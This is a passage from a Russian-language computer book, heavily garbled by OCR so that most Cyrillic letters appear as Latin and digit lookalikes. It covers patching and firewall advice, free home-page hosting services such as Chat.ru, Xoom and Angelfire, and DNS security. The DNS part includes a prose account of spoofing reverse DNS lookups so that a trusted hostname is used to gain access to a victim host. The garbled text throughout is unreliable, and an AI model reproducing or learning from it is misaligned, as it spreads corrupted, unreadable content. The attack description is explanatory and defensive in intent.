K€ 3alllUTUTH ce0s1 oT KubepBaHaanoB? CaMblii IJTaBHbIA COBET — 3TO CBOE-
BPEMEHHO yCTaHABIMBATh BCE MCMPABJIEHUs K Balllell OrepaluyoHHONi cucTe-
Me. Uto kacaetcss Windows — Microsoft peryisipHo HaXOAUT U KCTIPaBJIsIET
OIIUOKU.

HcnpasneHust (1maTyM) CTAHOBATCS TOCTYITHBI MPAKTUYECKU Cpasy.
Jimss Windows NT ocHOBHBIE HCIIpaBJICHWS HA3bIBAIOTCSI CEPBHUC-ITAKAMU
(service pack). Inss Windows 95/98 BelITTycKaeTcsl TIPOCTO Macca OTAETbHBIX
3arutaTok. HacTosTeabHO peKOMeHAyeTCs MepHOANYecKr 3aXOAUTh Ha CalT
Microsoft u ckaunMBaTh CBEXUE MaTUMU.

Hpyroii coBer — 3T0 ycTaHoBKa (aiipBosuia. Takast mporpaMma CMo-
JKET 3alUTUTh OT HEKOTOPBIX aTak (He OT BCeX, MOCKOJIbKY paboTa (aitpBoJi-
n1a 6asupyercs Ha ctaHgaptHoM TCP/IP creke).

Bynbre 6auTeIbHBI M TOCTapaiiTeCh CAEIaTh BCE, YTOOBI BaC HE YKYCHIT
cepeHbKHi Bo4oK. [TycTh qaxe 3a 60YOK.
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fAnaBa 13.
Mowu aaApec — He AOM U He YAULQ...

B Hamre Bpemst CIIOBO «alIpec» BCe Yallle BBI3BIBAET acCOIMAIldI0 He
¢ Ha3BaHMEM TOPOJA WU YIULIBI, a C KOMOMHAIIEH IATUHCKUX OYKB, U «IIOM,
MWJIBII TOM» — 3TO yKe, CKopee, He KBapTUpa, a IMCKOBOE MPOCTPAHCTBO Ha
yIaJieHHOM cepBepe. MHorma KaxeTcs, 4To MPOMCXOIUT MacCOBOE Tiepecese-
HUE, CBOeOOpa3HbBIli UCXOJ M3 PealbHOr0 MHUpa B BUPTYaldbHBIN. PaHo miam
MTO3HO, HO y OOJIBLIITMHCTBA CTPAHHUKOB B TIpocTpaHCTBe Internet mocte re-
pUOa «XOXICHUS B TOCTU» U TIOCEIEHUS PA3IMYHBIX ITyOIMYHBIX MECT BO3-
HUKaeT XejJaHWe TOCTPOUTh CBOWM COOCTBEHHBIN «JlomM» Ha KakoM-JIu0O
cepBepe.

W ecnu peasibHBIIN TOM HaM HY>K€H B MEPBYIO OUepeib ISl TOTO, YTOOBI
pacTUTh IETEi, TO €CTh CJIEI0BATh CBOEMY «OCHOBHOMY MHCTUHKTY» COXpaHe-
HUS Y TIOBTOPEHUSI, TO UHGOPMALIMOHHBIN BUPTYyalbHBIN [lom (Home) nos-
BOJISIET peaju30BaTh T€ K€ COXPAHUTEIbHbIE W PA3MHOXMUTEIbHbIE WMH-
CTUHKTBI B 00acTu uaei. 31ech IJ1aBHOE — 4TOO ObLJIO UTO COXPaHSATh U
pa3mMHoXaTh. CUeTYMK MOCeIIEHUI OeCITPUCTPACTHO OMPEAEUT, HACKOIbKO
Bbl MHTEPECHBI OKpyXawluM. Korna 3HayeHrne Ha HEM TPEBLICUT TEPBYIO
TBICSTYY, BAlllM MSTHAALATE MUHYT YAOBJAETBOPEHMS OT TOTO, YTO BaM €CThb YTO
cKazaTb, MePeIyT B MOCTOSIHHYIO YBEPEHHOCTb U PajoCTh OT TOTO, YTO 3TO
KOMY-HHMOYIb HY>KHO...

KpaitHe puaTHO 0OHAPYKUTh TaKYIO 3aIIMCh B TOCTEBOM KHUTE CBOE-
ro caiita. OcOOEHHO eC/v 3alCh BTOpasi, a CAMT MepPBbIA.

Ho noBonbpHO umocodcTBOBaTh, MepeliieM K KOHKPETHOMY BOIIPOCY:
IJIe 3Ke JIy4Ilie BCEro 3aHMMaThesl MHPOpMaLIMOHHBIM pa3MHoxeHuem? [lpen-
JIOXKEHMI 10 6eCIUIaTHOMY pa3MeleHUIO JOMaILIHUX cTpaHull B Internet'e 60-
Jiee YeM J0cTaTouHo. Huke mpuBeneHbl XapaKTepUCTUKU JIMIITb HEKOTOPBIX
HaunboJiee U3BECTHBIX CEPBEPOB:

Chat.ru (poccumckni)
3arpyska (paiyioB Kak Ipu oMol 6paysepa, Tak u mo FTP.

Hosasg noura (Newmail) (poccunckun)
16 M6aiit, BKJIIouas 3 ITOYTOBBIX SIIIMKA. 3arpy3Ka (paitjioB TOJIbKO MO
FTP-nmoctymy.

Z-mail (poccumnckniny
3arpyska (paityioB TOJIBKO TIpY TTOMOIIU Opay3epa.
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Tripod (AHrAOS3bIYHbIN)
3arpyska ¢aiiioB Kak mpu oMoy opaysepa, Tak u o FTP.

Xoom (QHFAOSI3bIYHbIN)
3arpy3ka (aiiioB Kak Mpu rnoMoiiu opaysepa, tTak u mo FTP.

AngelFire (QHrAO93bI4HbIN)
3arpyska ¢aiiioB Kak mpu oMo opaysepa, Tak u o FTP.

IIpu BBIOOpE cepBepa, BO-MEPBBIX, CIEAYET OOpaTUTh BHMMaHUE Ha
00beM MPEeAOCTaBISIEMOTO AUCKOBOTO MpocTpaHCcTBa. ONHAKO HE COBETYEM
BBIOMpATh CepBep MCKIIOUMTEIBHO 10 TIPUHLUITY «Iae Oosblie nawt». [o-
MpoOYyiTe U151 Hayasa 3aroJTHUTh Pa3yMHBIM COJIepKaHUEM CBOI TEPBbIN Me-
rabair...

Bo-BTOpBIX, 03HAKOMBTECH 3apaHee C OrpaHUYCHUSIMU, TUKTYEMbIMU
XapakTepoM M Ha3HauyeHWeM caiita. Ha KaXmoMm cepBepe CyIeCTBYIOT CBOU
npaswia. Hampumep, ceppep XOOM 3amnpeniaeT BeIKJIaAbIBaTh Ha CAUT OaH-
HEpbl OT UHBIX KOMMEpPYECKUX CTPYKTYp, Kpome XOOM'a. To ecTh eciau Bbl
pPACCUYMTHIBAETE TMOJYYUTh BO3ZHATPAXICHUE 3a pa3MelleHNe Ybei-IN00 peK-
JIaMbl, BaM CJIelyeT OCTAaHOBUTh CBOI BBIOOD Ha JIIOOOM JPYrOM cepBepe, Tie
MOI00HBIE IEMCTBUS pa3pelleHBbI.

BaxkHO MOHMMATh, YTO XOTSI IMUCKOBOE MTPOCTPAHCTBO BhIAEISIETCS Oec-
MJIaTHO, CEPBEPHI SIBJISIIOTCS KOMMEPUYECKUMMU — 3a pa3MellleHue Ballleii cTpa-
HULBI IUIATAT pekaamoaareau. Tak, Hampumep, Ha cepBepe XOOM npu obpa-
IIEHUU K CTPAHUIIE B BEPXHEI YaCTH OKHa MOSBIISIETCS] MOCTOSIHHAS 3aCTaBKa
CO CChIJIKAMU Ha JIpyrue InpeajaraeMble ycayru. «DTo» BUCUT B BEpXHel yac-
TH KaX[I0il MOJIb30BaTeIbCKOMN cTpaHULbI Ha cepBepe XOOM. OHa 3arpyxa-
€TCS OINH Pa3 M OCTAaeTCsl Ha BCe BpeMsl Balllero MpUCyTCTBUS Ha caiiTe, 3aHU-
Masl YaCTb 3KPaHHOTrO IpocTpaHcTia. Ellle onvH 6aHHEp MOSBUTCS Ha Balleil
CTpaHUIIE, €CJAU Bbl YCTAHOBUTE CUETYMK IOCEUICHUI C rOCTeBOM KHUIOM
XOOM-counter.

Angelfire 0oJiee 105IJIeH IO OTHOIIICHUIO K «CalTOBIaAebIly». OH mpe-
JIOCTABJISIET BCE TE K€ BO3MOXHOCTHU, HO C MEHBIIEH PEKIIAMHOW HArpy3KOW.
Pexnamuoe Ad-window (0KHO), TIosIBIsIIOIIIEECS] TIPU OOpallleHUH K TT0JIb30-
BaTeJIbCKOM CTpaHMIIE, MOXET ObITh CBEPHYTO B MPOLIECCE 3arpy3KH, YTOOBI
GoJIbIIIe HE 3arpOMOXIATh 9KpaH. 3aKPbIBaTh COBCEM €T0 He CIIeIyeT, TaK Kak
TOT/Ia OHO OY/IeT 3arpyXaThbCs BHOBD C KaXKIBIM IEPEX0I0OM CO CTPAHUIIBI Ha
CTpaHUILy CaiTa.

HMHrerpupoBaHHbIil cueTunK Ha Angelfire cBoGomeH OT GaHHEpOB.
Kpome Toro, paspeliieHo UCTIOJb30BaTh CAUT U IS KOMMEPUYECKOM NesITeb-
HOCTH, TIPUYEM HE TOJIbKO B paMKax MPOrpaMm, MpeajiaraéMbiX COOCTBEHHO
Angelfire.
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HecoMHeHHO, BaxkHBIM KpUTEpUEM BbIOOpa cepBepa SIBJSIETCS CITOco0
JOCTYTIA JUISl 3arpy3Ku U 00HOBJIeHMsT uHpopmauuu. Eciau cokpamenue FTP
(File Transfer Protocol) BaM HU O 4eM He TOBOPUT, a aHIJIMICKOE CJIOBO tag
BbI3bIBAET JIMIIb CMYTHbIE aCCOLIMALIMU, TO BaM JIy4llle BCETO BOCIOJIb30BATh-
cs on-line pegakTopaMu, MO3BOJISIIOIIMMU CO3aTh MTPOCTYIO CTPAHUILY TTPSIMO
Ha caiite. Eciiu Xe cTpaHuLa yXe eCTb, TO 3arpY3UTh €€ MOXXHO MpPU MOMOIIU
MeHeKepa (aitioB camoro cepBepa. B aToM ciiyyae OyaeT 1ocTaTouHO Baliie-
ro 6paysepa. st coznaHus 60J1ee CIOKHBIX CTPaHUILL IIPUAETCS pa3o0paThCs
B pabote kakoro-an6o HTML-pemnakTopa u Bocnosib3oBaThcss FTP-mocty-
IOM, a 9TO TpedyeT XOTsI Obl HAYAJILHOI MOJIb30BATEIbCKON MOATOTOBKH.

B mocnenHee BpeMsI MMOSIBUIICS psii pPOCCUMCKUX CEPBEPOB, CITOCOOHBIX
110 KaYeCTBY ITPEAOCTABIISIEMBIX YCIYT KOHKYPHUPOBaTh C HAU0O0JIee N3BECTHBI-
MU aMepUKaHCKMMHK. VX OTJIMYaeT elne ogHa MOJIOXKUTEIbHAS YepTa — BO3-
MOXHOCTh PETMCTpalliM KOPOTKOIO, JIETKO 3allOMWHAeMOIo aapeca. DTO
MpexXIe Bcero Kkacaercs ciyx0 Z-mail u «Hosas moura». Tak, mpu perucrpa-
UM OecIUIaTHOTO ITOYTOBOTO AnKa Ha Z-mail Beimenserca 100 Ko6aiit auc-
KOBOTO IIPOCTPAHCTBA M, CaMO¢ TJIaBHOE, KOPOTKMI afpec TOMEHA TPEThEeTO
YPOBHSI THIIA name.ru.ru Win name.go.ru. Takyio HeOOIbIIyIO TUIOIIAAKY C 3a-
TMOMUHAIOIINMCS aApecoOM YIOOHO MCIOIb30BaTh KaK MHAEKC TSI IIEPEXOI0B
Ha IpyTHUe peCcypChl, peaJbHOE PACIIOIOXEHNE KOTOPBIX MOXET MEHSITHCSI.

HenaBHo 0OHOBIEHHBIM, MOMYJIAPHBIM poccuiickuii cepBep Chat.ru
TakXe TMPEeIoCTaBIsIeT KOPOTKOE IOJIb30BAaTENbCKOE MMS M MPOrpaMMHOE
obecneyeHue, MO3BOJISIIONIEE CO3IaTh IIPOCTYIO CTPAHUILY B pexXKuMe on-line.

7151 paboThl CO CBOMM CaliTOM KpaiiHe BaXKHBIM SIBJISIETCS HaU4yue
rOCTeBO KHUTU, KOH(PEPEHIIMU U cUeTYMKa nocelleHuit. Mx oTcytcTBue Ha
HEKOTOPBIX CepBepax JIerKo CKOMIIEHCUPOBATh 3a CYET UCIOJIb30BAHUST YHU-
BepcasibHbIX TocTeBoit KHUTH «Guest world» u koHpepeHiuu (bopyma). OHu
MOTYT ObITh pa3MellleHbl Ha JIIOOOM caiiTe. A B KAUeCTBe cUeTYrKa yI00HO Uc-
M0JIb30BaTh paHKEP AMOPT, KOTOPBI B pa3IMYHbIX BapUaHTaX WCIOTHEHUS
MOXeET MOKa3bIBaTh KOJUYECTBO MOCEIIEHUN 3a IeHb, 32 HEENI0 U UX CyM-
MapHOe KOJIMYECTBO, a KPOME 3TOr0, 03HaYaeT BKJIIOYEHME B MOIMYJISIPHYIO MO-
HCKOBYIO CUCTEMY AMOPT.

BoapmmHCcTBO CEPBEPOB Mnpcaiaract AO0MNMOJTHUTCIbHBIC BO3MOXKHOCTHU
JUIA ITOITYJIApU3alivuv CafITa, KaK-TO: p€ructpanusi B 00IIIeM KaTaJiore moJIb30-
BaTeIell 1 HaJIM4Ke CUCTeMbl OOMeHa 6aHHep0B.

HekoTtopbie poccuiickue MpoBaiiaepbl MPeIoCTaBIsIOT YCIOBHO Oec-
IJIATHOE MPOCTPAHCTBO IS Pa3MEIICHUST T10Jb30BaTEIbCKUX cTpaHMIl. Tax,
ecsu Bl tiatute 20-25$ B Mecal 3a dial-up ZOCTyI, TO MOXETE IOIYYUTh OT
MTY no 5 M6aiit, a ot Zenon-NSP — 1o 2 M6aiiT 6ecIIaTHOrO JMCKOBOTO
npoctpaHcTBa. [1pr 3TOM UMeeTCsT IOCTYIT K POrpaMMHBIM CPEICTBaM, 03~
BOJISIIOLIMM OKMBUTD CBOM CaliT pa3HOOOPa3HBIMU MHTEPAKTUBHBIMU (hopMa-
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MU, CYCTYNKOM U TOCTEBOM KHUTOM, CBOOOXHBIMU OT UyXHUX OaHHepoB. Ho
3TO yXe TpeOyeT 6oJice Cepbe3HOM MOTh30BaTEILCKOM MTOATOTOBKMU.

KoneuHo, npuBeeHHbIE PEKOMEHAAIIMY HE NIPETEHIYIOT Ha MOJHOTY.
Tem He MeHee ¢ UX TTOMOIIBIO BbI, €CJIM 3aXOTUTE, 3a MOCJEAYIOIINE TIATHAI-
11aTh MUHYT CMOXETe CO31aTh U OMYyOJIMKOBATh CBOIO MEPBYIO CTPAHUUYKY B
Internet’e, naxe ecnu He 3Haerte, 4TO Takoe tag. HameeMcs, 4ToO 3TU COBETHI
MOMOTYT BaM cbepeub HECKOJIBKO YAaCOB BpeMeHU on-line aist 6oiee mpoayk-
TUBHOM PabOTHI.

fAnaea 14.
3awuta DNS

ITporokou 3amuTel DNS 1103BOJIUT MTPOBEPUTD, YTO 3aMIPOLLIEHHBIC afl-
peca Internet mocTynuaM OT 3aKOHHOTO UCTOYHMKA U YTO OTBET Ha 3alpocC CO-
JIEPKUT ayTEHTUYHbIE JaHHbIE.

B crapeie BpeMeHa — OKOJO TOJIyTOpa JAecsTKa JIeT Hazal — yde-
HBIE-MCCIIEIOBATENIN, YHUBEPCUTETCKIE TTpodheccopa 1 YNHOBHUKY MUHMC-
TepCcTBa 000POHBI OTKPHITO UCTTONB30Ban Internet st o6MeHa MH(pOpMAaLIK-
eir. Takast cuctema paboraja, TOTOMY YTO OHa COCTOSIa M3 HEOOJBIIOTO
CETEeBOro COOOIIECTBA, WICHBI KOTOPOTO AOBEPSIIN IPYT IPYTY.

Kak oOnictpo Bce MmensieTcss. CeromHsi COOOILECTBO IOJIb30BaTeIeH
Internet JOCTUTIIO HEMBICIMMBIX pa3MEPOB, 1 TaJIEKO He KaXKIblif ero YieH 3a-
CIy>XuBaeT AoBepus. Hamndaue mpokasmuBbIX M 3JIOHAMEPEHHBIX TI0JIb30Ba-
TeJIel MMOPOANIIO ITOTPEOHOCTD B 3amuTe. OgHako mpu pa3padborke DNS, ox-
HOM M3 KIIOUeBBIX MHOpacTpykTyp Internet, 3ammra ObLIa OTHIOAL HeE
mIaBHO 1enblo. Kak pesynprat, DNS nipencrasisier co0oii He3alMIIEHHBI
MTPOTOKOJI.

DNS — a10 nepapxuueckas 6aza TaHHbIX, COAepKalllasi 3aMucH ¢ ONu-
caHueM uMeH, [P-aapecoB u apyroit nuH@opmaimu o xoctax. baza 1aHHbIX Ha-
xoautcsl Ha cepBepax DNS, cBsizdaHHbIX c Internet M YaCTHBIMU CETSIMU
Intranet. [Tpoie roBopsi, DNS npenoctaBiisieT ceTeBbIM MPUTOXEHUSIM YCITy-
I'M KaTajora o npeoopa3oBaHUI0 UMEH B afipeca, Korjna UM TpedyeTcs onpe-
JIEIUTh MECTOHAXOXIEHEe KOHKPETHBIX cepBepoB. Hampumep, umst DNS uc-
MOJIb3YETCS KXl pa3 MpU OTIIPaBKe COOOLIEHUS BJIEKTPOHHOM MOYTHI MJIU
JocTyne K crpaHuiie Web.

[IpoGaema B TOM, YTO HET HUKAKOTO CIOCcO0a MPOBEPUThH, YTO OTBET
DNS mocTtynui oT ayTeHTUYHOTO UCTOYHMKA U COCPKUT ayTeHTUYHbIC JTaH-
Hble. HeMHOro nmotpyauBuIuch, naxe pebeHOK CMOXET MH(PULIMPOBATh cep-
Bep DNS HeBepHbIMU JaHHBIMU, KOTOPbIe KIUEHTH Web OyayT He B COCTOSI-
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HHMM OTJIMYUTH OT BEPHBIX JaHHBIX. DTOT (haKT BBI3BIBAET 0CO00E GECITOKOM-
CTBO B CBsA3M ¢ TeM, yTo DNS 9acTo MCMoIb3yeTcsT B KaueCTBEe CHCTEMBI HESIB-
HOM MAEHTUDUKALINY.

Hamnpumep, korpa mosb3oBaresb obpaiaercss u3 Opaysepa K http://
www.examiner.com (y3esq Web caH-¢paHIIMCCKON ra3eThl), OH, €CTECTBEHHO,
OXWUJIAeT, 4TO ToJyYeHHas crpaHuia Web mpuHamiexuT 3Toi razere. OmgHa-
Ko mipotokos DNS He comepXXUT HUKaKUX MeXaHU3MOB JIJIST TIOATBEPKACHUS
¢akTa ayTeHTUYHOCTY cTpaHUIbl Web.

XO0TsI MOJIb30BaTEIb MOXET YBUAETh cTpaHMily San Francisco Examiner
BMeCTO, Kak OH HaJesicsl, MecTHO# Examiner cBoero pomHoro roposa, 3To He
caMoe HeMpUATHOE, YTO MOXET CIYUYUTHCS: MOJIb30BaTeIb MOXET MOJIYyYUThb
crpanuiy Web, He mprHauIeXxally BooOllIe HUKAKOH razeTe, a HEKUM 3J10-
HaMepeHHBIM TPETbUM JIMLIaM, HaMepeHHO ucIopTuBIIMM DNS, 4ToObI 1e-
pEeHanpaBUTh HUYETO HE MOMO03PEBAIOIIMX YUTaTeNeil Ha cBoii cepBep Web,
rae myoJauKyeTcsl caTupa Ha peasibHyIO Ta3eTy UM Te COMEPXKUTCS 3aBEIOMO
HWCKaxkeHHas1 UH(pOPpMaIIUsL.

B Kaxnoit oTpaciu eCTb CBOM 37101 TeHUI — MPOCTO MPENCTaBbTe cede,
YTO Balll 3aKJISIThIIE KOHKYPEHT MOT Obl ClIeIaTh C Ballleil pernyTaiueii, eciau obl
OH MOJIYYMJ1 KOHTPOJIb Hajl 0a30i MOAMMCUYMKOB Baliero ceppepa Web Bcero
Ha OUH JeHb. HeTouHble WM HaMEPEeHHO HEeIOCTOBEPHbIE JaHHbIE MOTYT
MPUBECTU K TOMY, UTO MOJIb30BATEU CTOJKHYTCS C OTKA30M B 00CIY>KMBaHUU
v OyayT mepeHanpaBieHbl Ha CEPBEPbl COMHUTEIBHOTO conepxaHust. st
peutenus atoit npobaemel IETF pabotaer Haa paciiupeHUsIMUA 3alUThI 15T
npotokosa DNS — rtak HaszeiBaemMoit Domain Name System Security
(DNSSECQC).

OT1 SRI-NIC Ao DNS

Mo nosieneHust DNS naHHbIe 0 KaXX0M HOBOM XOCTe MPUXOIUIIOCH 10-
0aBiSITh B ILieHTpaldbHOe xpaHwiuile MH(opMalMOHHOTO IEHTpa CeTU B
Crendopackom uccieaoBaTesbckoM uHcturyte (Stanford Research Insti-
tute's Network Information Center, SRI-NIC), oTBeuaBliiieM 3a IpeaocTaBie-
Hue Takoit nHdopManuu o Havana 90-x. SRI-NIC 3atem nmyGiMKoBai 3TOT
(aitn, 1 OH MOCPEACTBOM MAacCCOBOI'O KOIMPOBAaHMS TIOCTYMAl Ha BCE XOCThI
CeTU areHTCTBa MO MEePCHEeKTUBHbIM HccaenoBaHusIM (Advanced Research
Projects Agency Network, ARPANET).

Jpyrast npoGemMa Takoro MeTo/1a yrpaBieHUs] UMEHaMU XOCTOB COCTO-
s71a B €T0 TToCKoi cTpyKType. Kaxknoe 3aperucrpupoBanHoe B SRI-NIC nms
JIOJKHO OBIJIO OBITh YHUKANbHBIM. Hampumep, HUKakue aBa XOCTa HUTIE B
Internet He MoriauM OmHOBpPEMEHHO Ha3biBaThbcs wWww. Kak pesynbTar,
SRI-NIC ycrynuna mecto DNS.
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OnuH U3 1aBHBIX BK1anoB DNS B Internet — BO3MOXHOCTh YHUKAITb-
HBIM 00pa30M O0TOOpPaXkaTh OMHO3HAYHO UICHTU(DUIIMPYEMble MIMEHA XOCTOB
Ha [P-aapeca Bo BcemMupHOM Macitabe. DTa mpolieaypa M3BECTHA KaK Ipsi-
Moe otobpaxeHue. Cpeay HEKOTOPBIX IpyruX Bo3MoxHocTeir DNS — obpar-
Hoe oToOpaxkeHue (T.e. onpeneeHue MMeHU XocTa o IP-anpecy), nHbopMa-
LIS O cepBepax JCKTPOHHOM MOYTHI (MICHTU(MUKALIMS TOYTOBOTO CepBepa
IUTSI JAHHOTO XOCTa WJIM IOMeHa) 1 KAHOHMYECKOe UMEHOBaHME (Ha3HaYeHUE
TICEBIOHUMOB JIJISI UMCHU XOCTa).

B DNS sta nHdopmanus xpaHutcs B 3anucsax pecypcoB (Resource
Records, RR). Kaxxnomy tuny conepxaiueiicst B DNS nndopmaium coorset-
ctByeT cBoii Tun RR. TIpuMepamu TUITOB 3amuceit 0 pecypcax MOTYT CIIY>KUTh
3amnmch A 06 [P-anpece st TaHHOTO MMEHU XOCTa, 3armuch NS o cepBepe UMeH
JUTSE TAaHHOTO UMEHU JOMeHa ¥ 3anch MX 0 TTOYTOBOM cepBepe ISl JTaHHOTO
umeHn DNS.

Hepapxuyeckas ynopsimoueHHOCTh DNS obecneurBaeT yHUKaJIbHOCTh
“MeH xocToB. Mepapxuueckas ctpykrypa DNS uMeeT Bua repeBEepHYyTOIO Ie-
pesa. [Tpu nepeMelnieHUM O AEPEBY OT JIMCTAa K KOPHIO MbI MOJIy4aeM MOJIHOE
noMmeHHoe uMd (Fully Qualified Domain Name, FQDN). B DNS Bcskoe umst
FQDN sBnsieTcst yHUKaJIBHBIM. 3aIIpocC ¢ yKa3aHUEM UMEHHU XOCTa IMIPUBOAUT
K TIPOCMOTPY CTPYKTYPHI IepeBa OT KOPHSI 10 JIMCTA B LIEJSIX HAXOXISHUS CO-
oTBeTCTBYyIOLIEro eMy IP-ampeca. AHamorndyHoe aepeBo UMeeTCs U ISl o0pat-
HOTo OTOOpaxXeHHus, B clydyae KOToporo 3ampoc ¢ IP-agpecom mpuBomut K
MPOCMOTPY CTPYKTYPBI 3TOTO JepeBa IJIsl HAaXOXACHUS MMEHM XOCTa WU
FQDN nns ykazanHoro 1P-agpeca.

BepxHeMy ypOBHIO MEPEBEPHYTOro JepeBa COOTBETCTBYET KOPEHb
DNS. BT1oT KOpeHb 00BIYHO 0003HAYAETCS KaK «.» (T.€. «TOUKA») U SIBJISIETCS
nocaeaHuM cumBosioM B FQDN. TlepBbiii ypoBeHb HUXXE KOPHSI ACTUTCS Ha
KpPYMHBIE KJIacChl, TaKKe KaK HEKOMMepUeCcKre opraHu3aiiuu (org), KoMMep-
YyecKue CTPYKTYpbI (com), o6pazoBaresibHbie yupexaeHus (edu) u T.4. Creny-
IOLMI yPOBEHb OOBIYHO MPEACTABISIET KOHKPETHYIO OPraHM3aluIo Uiu KOM-
MaHuo B goMmeHe org, edu uam com. Hanpumep, isc.org wim vix.com. U isc,
1 ViX Ha3bIBAIOTCS TAaKXKE UMEHAMU JIOMEHOB.

Takoit criocob MmocenoBaTeILHOTO AeJCHUSI UMEH TOMEHOB TTO3BOJIS -
€T YHUKAJIBHBIM 00pa3oM UIACHTUMDUIIMPOBATH XOCT B TOMEHE (MJIU, BO3MOX-
HO, B TIOZIOMEHE), K KOTOPOMY OH TIPMHAUICKUT. biaromaps aToMy OTBeT-
CTBEHHOCTbH 3a YIpaBJIeHue NMEHaMU XOCTOB M ajipecaMy (MX T00aBJICHUEM,
yIaJleHUeM WU U3MEHEHUEM ) MOKET OBITh ITepelaHa MECTHBIM aIMUHUCTPa-
TopaM. Bo3MOXHOCTB esiernpoBaHus TIpaB aAMUHUCTPUPOBAHUS U JIOKATb-
HOTO YIpaBJIeHWs UMEHAMU XOCTOB 00eCTIeUrBaeT Ype3BbIYaifHYI0 THOKOCTD
u Macimtadbupyemocts DNS.
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Hpyroe BaxkHOe mpenmytnecTBo DNS 10 cpaBHEHUIO ¢ ee MPeIIecT-
BEHHMKOM C IJIOCKOM CTPYKTYPOI — BBICOKAs JOCTYITHOCTh MH(MOPMAIIUH 110
KaXIoMy ToMeHy wiv 3oHe. (HecMoTpst Ha ompeneleHHbIE Pa3IAIMs MEXITY
TTOHSITUSIMUA 30HBI M IOMEHa, JUTS 1IeJIeld 3TOM CTaTh MBI OYIeM CYMTATh 30HY
CHHOHMMOM JoMeHa.) Kaxknast 30Ha comepKuT OMUH OCHOBHOMW WUTH TTEPBUY-
HBIA cepBep, Ha KOTOPOM OCYIIIECTBIISTIOTCS BCe M3MEHEHUsT MH(pOpMaIu 110
30He. [ToMrMMO OCHOBHOTO cepBepa, 30Ha CONCPKUT BCIIOMOTATeIbHbIC WIIH
BTOPUYHBIE CepBephl. TaKuX cepBEepPOB MOXET OBITh HECKOJIEKO. OHU TTEPHO-
MUYEeCKU 00paIllafoTCsT K OCHOBHOMY CepBepy UIS ITPOBEPKH (hakTa 0OHOBIIE-
HMSI THOOPMALIMK U, €CTM OOHOBJICHUE NEHCTBUTEIEHO MMEJIO MECTO, TTOJTy-
YeHUST TaHHBIX 10 30He. JlaHHasT TIpolienypa Ha3bIBaeTCsT IEPEChIIKOM 30HHI.

Kaxmast 30Ha UMeeT MOpsIKOBbIE HOMEp, YBEJIMUUBAEMbIN KaXKIIbIi
pa3 IIp¥ BHECEHUM M3MEHEHUI B MH(GOpMALIMIO 00 3TOI 30HE HA OCHOBHOM
cepBepe. biiarogapst aTomy BcrioMoraTeJibHbI cepBep MOXeT 0e3 Tpyaa oOHa-
pyXxutb pakT ooHOBIeHMS. Hannuue Gosee omHOM KoMy 30HBI 00ecTieynBa-
€T pyAMMEHTapHylo GOpMYy pacrpelesieHUs] Harpy3Ku U BBICOKYIO JOCTYII-
HOCTb JIaHHBIX.

Ya3Bumblie mecTta 3awwmtbl DNS

BwMmecte ¢ TeM Takast upe3BbIuaitHO 3(pheKTUBHASI OpraHu3alms obopa-
YUBAETCSI MHOXECTBOM CJIa00CTe# ¢ TOUKM 3peHus 3amuThl. Hanpumep, Kor-
Jla ynajJieHHasl CUCTeMa CBS3bIBa€TCSI C TIPUJIOXKEHUEM, TIPUJIOXKEHWE TOChLIa-
er 3ampoc mis1 omnpeneneHusi uMmeHu DNS mo ee [P-agpecy. Ecim
BO3BpalllaeMOe JOMEHHOE MMsI COOTBETCTBYET OXHUIA€MOMY, TO yIAJIEHHOMN
cUcTeMe pa3penaeTcst JOCTYII.

IIpuBenem mpumep, rome DNS arakyiomero oTBeTCTBEHHaA 3a CETb
172.16.0 (0.16.172.in-addr.arpa). Atakyiomuii mprcBanuBaeT OOpaTHBIN anpec
172.16.0.8 xocTy ¢ nMeHeM trustme.plain.org. 310yMBILITIEHHUK TOIKITIOYAET-
cd K victim.example.com TSI MCCIeIOBaHMUS €r0 JOBEPUTEIbHBIX B3aUMOOT-
HOIIIEHUM ¢ trustme.plain.org. ATraka OKa3bIBaeTCS YCIICIIHOM, IIOTOMY YTO
npotokoil DNS He mpemycmarpuBaeT KaKoro-jimbo MeXaHu3Ma IIpeaoTBpa-
IEHUsT Ha3HAYeHUsT BJAJEJIblieM OOpaTHOTO aapecHOro MpPOCTPaHCTBA JO-
MEHHBIX UMEH 3a MpeieiaMu ero 00J1acTH MTOTHOMOYMA.

OnHaKo Mpy MUHUMATbHBIX YCUIUSX 3IOHAMEPEHHBIN MOJb30BaTeb
MOXeT 3ape3epBUpoBaTh 3a co00i Hebosblloe MpocTpaHcTBo IP-aapecon
u 3aperucTpupoBath cepsep DNS mist o6paTtHoro otobpaxkeHust IP-agpecos.

HwuuTo He MelllaeT amMUHUCTpATOPY TaHHOTO npocTpaHcTBa [P-ampe-
coB oTo0Opasuth omnpeneiaeHHbl [P-anpec obpaTHO Ha He MpuUHaAIexallee
emy FQDN. 3aTem aTOT anMUHUCTPAaTOp MOXET 0TOOpa3uTh IP-anpec Ha uMst
X0CTa, KOTOPOMY MPUJIOKEHUE CKOH(MUTYPUPOBAHO N0BepsiTh. [ToaToMy mipu
MOJIyYEHUU 3aITpOca Ha COEAMHEHNE OT CUCTEMBI, KOTOPOIi MPUIOKEHUIO J0-
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BepsITh He clieayeT, Ho ueli IP-agpec oro6paxkaercst ooparHo Ha FQDN, koto-
pOMy OHO JOBEpSIET, MPWJIOXKEHUE, HE 3adyMbIBasICh, MPEIOCTABUT JOCTYI
3TOH cucreme.

Hexkotopsie 13 Hanbosee pacripoCcTpaHEHHBIX TTPUIOXEHU, Tae KO-
[1a-TO UCIOJIb30BAIACH TaKas Mpolielypa, ObLUIM NepeesiaHbl B LIESIX TPOBe-
JIEHUs el1lle OJHOM MPOBEPKU — 4TO UMs xocta DNS cOOTBeTCTBYET TaHHOMY
[P-agpecy. OnHako MHOTHME MIPUIOXEHUS HE MIPeyCMaTPpUBAIOT 3TOM TOTION-
HuTenbHOM Tipoueaypsl. Ctapsie Bepcuu rlogin, RSH, Network File System
(NFS), X Window u HTTP moryt ObITh MO-TIpexkHeMy ySI3BUMbI JIJIsI TAKOTO
poJa araxk.

Kpowme toro, DNS ys3BumMa ¢ no3uiuii B3ioma cucteMbl. Ecin 3710-
YMBIILIEHHUK CMOXKET Yepe3 OJHY M3 CETeBbIX clIyK0 (telnet, ftp u T.1.) moiy-
YUTh HECAHKLIMOHMPOBAHHLIN H0CTYII K cepBepy DNS, mocJie 3Toro oH 1ojy-
YUT BO3MOXKHOCTb M3MEHSTh 0a3y JaHHBIX DNS, Kak eMy 3a01aropaccyauTcs.
B Takoii cutyauuu rnmpotrokoi DNS omsiTh oka3biBaeTcs 0€33alIUTeH, IIOTOMY
YTO OH He obecrneunBaeT UACHTUGhUKALIMUA JAHHBIX.

Kpuntorpadpuyeckue noanucu

